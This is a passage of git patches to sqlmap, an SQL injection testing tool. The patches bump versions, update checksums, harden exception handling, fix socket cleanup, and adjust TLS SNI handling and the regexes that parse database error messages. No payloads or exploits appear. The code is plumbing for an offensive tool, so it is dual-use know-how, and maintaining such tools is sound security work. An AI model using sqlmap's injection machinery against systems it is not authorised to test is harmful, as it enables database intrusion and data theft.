86a5c4e6be0..4f0621673bc 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -5,8 +5,10 @@ See the file 'LICENSE' for copying permission """ +import builtins import codecs import collections +import difflib import inspect import logging import os @@ -177,6 +179,9 @@ def reject(*args): raise ValueError("XML entities are forbidden") et.parse = _safe_parse et._patched = True + if "enumerate" in difflib.__dict__ and difflib.enumerate is not builtins.enumerate: + difflib.enumerate = builtins.enumerate + def resolveCrossReferences(): """ Place for cross-reference resolution diff --git a/lib/core/settings.py b/lib/core/settings.py index c8138a4df82..a94981a4865 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.14" +VERSION = "1.10.2.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 4d1f3edce49..0c6ab2586c2 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -176,16 +176,23 @@ def _comparison(page, headers, code, getRatioValue, pageLength): else: key = (hash(seq1), hash(seq2)) - seqMatcher.set_seq1(seq1) - seqMatcher.set_seq2(seq2) + try: + seqMatcher.set_seq1(seq1) + seqMatcher.set_seq2(seq2) + except: + seqMatcher.set_seq1(repr(seq1)) + seqMatcher.set_seq2(repr(seq2)) if key in kb.cache.comparison: ratio = kb.cache.comparison[key] else: try: - ratio = seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio() - except (TypeError, MemoryError): - ratio = seqMatcher.ratio() + try: + ratio = seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio() + except (TypeError, MemoryError, SystemError): + ratio = seqMatcher.ratio() + except: + ratio = 0.0 ratio = round(ratio, 3) From dbe45a477bb113839a6d12fd35c7fd296d0b9e70 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 17 Feb 2026 22:26:22 +0100 Subject: [PATCH 105/135] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/patch.py | 6 +++++- lib/core/settings.py | 2 +- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e8a381afe24..860518b808d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -182,13 +182,13 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 67ea32c993cbf23cdbd5170360c020ca33363b7c516ff3f8da4124ef7cb0254d lib/core/optiondict.py 8d12a0acbc5e71a40fb19e65af49cd665b10aa313e1b81b336387edf8dd2f14b lib/core/option.py -d41ae6880991f6c9e921341bf3e1b4af84464753979eecf1d091df0afc26f008 lib/core/patch.py +d9b37177efcaba035c7fabe7d015a3b63d9cfe502bb4998ff71e47f825eeaaca lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d2a2e0a54e8d1edcb315c4ca72fe60f4988e7518717a064a045fa14fd1fdde92 lib/core/settings.py +1433f394e4f679241d6fe265b21c61f43176b11991a3fa54e369639e2d2b9e6a lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/patch.py b/lib/core/patch.py index 4f0621673bc..27d790a6fdf 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import builtins import codecs import collections import difflib @@ -179,6 +178,11 @@ def reject(*args): raise ValueError("XML entities are forbidden") et.parse = _safe_parse et._patched = True + try: + import builtins + except ImportError: + import __builtin__ as builtins + if "enumerate" in difflib.__dict__ and difflib.enumerate is not builtins.enumerate: difflib.enumerate = builtins.enumerate diff --git a/lib/core/settings.py b/lib/core/settings.py index a94981a4865..8afe71b64f6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.15" +VERSION = "1.10.2.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d2106f278ea81989b75a6cf43058529cf0e80394 Mon Sep 17 00:00:00 2001 From: cui Date: Sat, 21 Feb 2026 21:35:26 +0800 Subject: [PATCH 106/135] fix: close when throw exception (#6019) --- lib/core/common.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 61d05edc989..a22747d1e3e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1993,11 +1993,16 @@ def getLocalIP(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((conf.hostname, conf.port)) retVal, _ = s.getsockname() - s.close() except: debugMsg = "there was an error in opening socket " debugMsg += "connection toward '%s'" % conf.hostname logger.debug(debugMsg) + finally: + if s: + try: + s.close() + except: + pass return retVal From 959ba63f785a9b5b34f07ab9428930fda61220f0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 21 Feb 2026 14:39:47 +0100 Subject: [PATCH 107/135] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 9 ++++----- lib/core/settings.py | 2 +- 3 files changed, 7 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 860518b808d..54d8f908d94 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ ced1c82713afc1309c1495485b3d25a11c95af1f7460ea7922dbb96dacac37b4 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py -503466d627e7425b4d1a65f4a3abfb8412128de7c146cec711e093cc58d6fa64 lib/core/common.py +feb54568653fe94cb8b5ec55f537152d34c594e853815c6ffdd6c5ec7f4a257c lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ d9b37177efcaba035c7fabe7d015a3b63d9cfe502bb4998ff71e47f825eeaaca lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1433f394e4f679241d6fe265b21c61f43176b11991a3fa54e369639e2d2b9e6a lib/core/settings.py +599ea3d2cfd4475d2602e4a8f3741681b753889eb39eede192252cb0b430958d lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index a22747d1e3e..3ca74653f19 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1998,11 +1998,10 @@ def getLocalIP(): debugMsg += "connection toward '%s'" % conf.hostname logger.debug(debugMsg) finally: - if s: - try: - s.close() - except: - pass + try: + s.close() + except socket.error: + pass return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 8afe71b64f6..ede7db213f7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.16" +VERSION = "1.10.2.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c2f86976fba62c2abde18f7f1712715221012371 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 26 Feb 2026 11:18:19 +0100 Subject: [PATCH 108/135] Fixes #6022 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/utils/hashdb.py | 10 +++++++--- 3 files changed, 10 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 54d8f908d94..21279228f5d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ d9b37177efcaba035c7fabe7d015a3b63d9cfe502bb4998ff71e47f825eeaaca lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -599ea3d2cfd4475d2602e4a8f3741681b753889eb39eede192252cb0b430958d lib/core/settings.py +7885689f1f340dd1d14a7fefe30f39da6cbb83e7e2d34d8995339556849d6246 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -248,7 +248,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52 lib/utils/gui.py 366e6fd5356fae7e3f2467c070d064b6695be80b50f1530ea3c01e86569b58b2 lib/utils/har.py -a1a1ccd5ec29a6a884cfa8264d4e0f7e0b6a0760c692eb402805f926da41e6ee lib/utils/hashdb.py +e890d2ee4787589b2464d9c561d10a6896546781c349b48bfe4d42dd3954468b lib/utils/hashdb.py 84bf572a9e7915e91dbffea996e1a7b749392725f1ad7f412d0ff48c636a2896 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 22ba65391b0a73b1925e5becf8ddab6ba73a196d86e351a2263509aad6676bd7 lib/utils/pivotdumptable.py diff --git a/lib/core/settings.py b/lib/core/settings.py index ede7db213f7..6c5680e81bd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.17" +VERSION = "1.10.2.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index e7a88fc22cd..f1e693eb13b 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -144,9 +144,13 @@ def write(self, key, value, serialize=False): if key: hash_ = HashDB.hashKey(key) with self._cache_lock: - self._write_cache[hash_] = self._read_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) - cache_size = len(self._write_cache) - time_since_flush = time.time() - self._last_flush_time + try: + self._write_cache[hash_] = self._read_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) + except RecursionError: + pass + finally: + cache_size = len(self._write_cache) + time_since_flush = time.time() - self._last_flush_time if cache_size >= HASHDB_FLUSH_THRESHOLD_ITEMS or time_since_flush >= HASHDB_FLUSH_THRESHOLD_TIME: self.flush() From b93bc51d65ea8d66e3eaa5645917b52bc00d4b99 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 10 Mar 2026 14:42:51 +0100 Subject: [PATCH 109/135] Minor improvement of ERROR_PARSING_REGEXES --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 21279228f5d..ded3428f163 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ d9b37177efcaba035c7fabe7d015a3b63d9cfe502bb4998ff71e47f825eeaaca lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -7885689f1f340dd1d14a7fefe30f39da6cbb83e7e2d34d8995339556849d6246 lib/core/settings.py +f306a336d5861dd1af33871f64b4a6fb669df7ddf3ca036a104df52ec41dc978 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6c5680e81bd..6b0498e9465 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.18" +VERSION = "1.10.3.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -417,6 +417,7 @@ # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( + r"(?P(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)", r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P[^<]+)", r"[^<]{0,100}(fatal|error|warning|exception)[^<]*:?\s*(?P[^<]+)", r"(?m)^\s{0,100}(fatal|error|warning|exception):?\s*(?P[^\n]+?)$", From bbadc0d583586254871dd9bb5ccf999476e900f5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 10 Mar 2026 14:44:01 +0100 Subject: [PATCH 110/135] Dummy update --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ded3428f163..b9f9acf03d2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ d9b37177efcaba035c7fabe7d015a3b63d9cfe502bb4998ff71e47f825eeaaca lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f306a336d5861dd1af33871f64b4a6fb669df7ddf3ca036a104df52ec41dc978 lib/core/settings.py +694ae37cc8e0418e6e90edc8283a1ea2b0fcd4904c2d274081c5223fdc2b47d0 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6b0498e9465..3eb797e1711 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.3.0" +VERSION = "1.10.3.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -62,7 +62,7 @@ UPPER_RATIO_BOUND = 0.98 # For filling in case of dumb push updates -DUMMY_JUNK = "theim1Ga" +DUMMY_JUNK = "Ye1esara" # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__PARAMETER_AMP__" From 083f54b7df52c64972410f91a0e613b2d055dd3c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 10 Mar 2026 14:51:28 +0100 Subject: [PATCH 111/135] Minor refactoring --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b9f9acf03d2..dc067a4a927 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ d9b37177efcaba035c7fabe7d015a3b63d9cfe502bb4998ff71e47f825eeaaca lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -694ae37cc8e0418e6e90edc8283a1ea2b0fcd4904c2d274081c5223fdc2b47d0 lib/core/settings.py +6dd1668c23f11cd96ca2ec7593d5c316cc3c9ac9812f184e8e94ce9a03703dcb lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 3eb797e1711..f2cb8f183d9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.3.1" +VERSION = "1.10.3.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -417,7 +417,6 @@ # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( - r"(?P(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)", r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P[^<]+)", r"[^<]{0,100}(fatal|error|warning|exception)[^<]*:?\s*(?P[^<]+)", r"(?m)^\s{0,100}(fatal|error|warning|exception):?\s*(?P[^\n]+?)$", @@ -428,7 +427,8 @@ r"Code: \d+. DB::Exception: (?P[^<>\n]*)", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", - r"(?Pquery error: SELECT[^<>]+)" + r"(?Pquery error: SELECT[^<>]+)", + r"(?P(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)" ) # Regular expression used for parsing charset info from meta html headers From 56f02e5d5b854b910f3bb0e772d3c6858735324e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 11 Mar 2026 13:07:34 +0100 Subject: [PATCH 112/135] Fixes #6029 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/httpshandler.py | 13 ++++++++++++- 3 files changed, 15 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index dc067a4a927..d1ccef3e4f5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ d9b37177efcaba035c7fabe7d015a3b63d9cfe502bb4998ff71e47f825eeaaca lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6dd1668c23f11cd96ca2ec7593d5c316cc3c9ac9812f184e8e94ce9a03703dcb lib/core/settings.py +a4e4dda915e8f1f06be620b6851288132db0fe9eb4aab8b3e17eb56f3baa2acf lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -214,7 +214,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch f3a457675d7c2b85c7d5da5e336baf2782eaf0abbcb2ecdeb3c0e88d5bb60528 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py -f56fc33251bd6214e3a6316c8f843eb192b2996aa84bd4c3e98790fdcf6e8cf0 lib/request/httpshandler.py +ab58440ee9ef2b885ae9cddf3020706097e41adf2d1c4c2da23abdbd6ddec375 lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py aeeeb5f0148078e30d52208184042efc3618d3f2e840d7221897aae34315824e lib/request/inject.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f2cb8f183d9..ecc9df5555a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.3.2" +VERSION = "1.10.3.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 94f50fb1a16..ca5070bfc4e 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -84,7 +84,18 @@ def create_sock(): _contexts[protocol].set_ciphers("ALL@SECLEVEL=0") except (ssl.SSLError, AttributeError): pass - result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r"\A[\d.]+\Z", self.host or "") is None else None) + + hostname = self.host + if self.host: + hostname = conf.host + else: + for header, value in conf.httpHeaders: + if header.lower() == "host": + hostname = value + break + hostname = hostname if re.search(r"\A[\d.]+\Z", hostname or "") is None else None + result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=hostname) + if result: success = True self.sock = result From 3fe094a4c31ddb6b3f7c6ab59811679c837ce6ac Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 11 Mar 2026 13:09:38 +0100 Subject: [PATCH 113/135] Minor patch related to #6029 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/httpshandler.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d1ccef3e4f5..a85562a91b2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ d9b37177efcaba035c7fabe7d015a3b63d9cfe502bb4998ff71e47f825eeaaca lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -a4e4dda915e8f1f06be620b6851288132db0fe9eb4aab8b3e17eb56f3baa2acf lib/core/settings.py +5f2e82da40c05eb8139816eff0ccc0752a462e8a55c97f7085907171616de324 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -214,7 +214,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch f3a457675d7c2b85c7d5da5e336baf2782eaf0abbcb2ecdeb3c0e88d5bb60528 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py -ab58440ee9ef2b885ae9cddf3020706097e41adf2d1c4c2da23abdbd6ddec375 lib/request/httpshandler.py +92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py aeeeb5f0148078e30d52208184042efc3618d3f2e840d7221897aae34315824e lib/request/inject.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py diff --git a/lib/core/settings.py b/lib/core/settings.py index ecc9df5555a..e7bc3f8592f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.3.3" +VERSION = "1.10.3.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index ca5070bfc4e..4e95c600677 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ 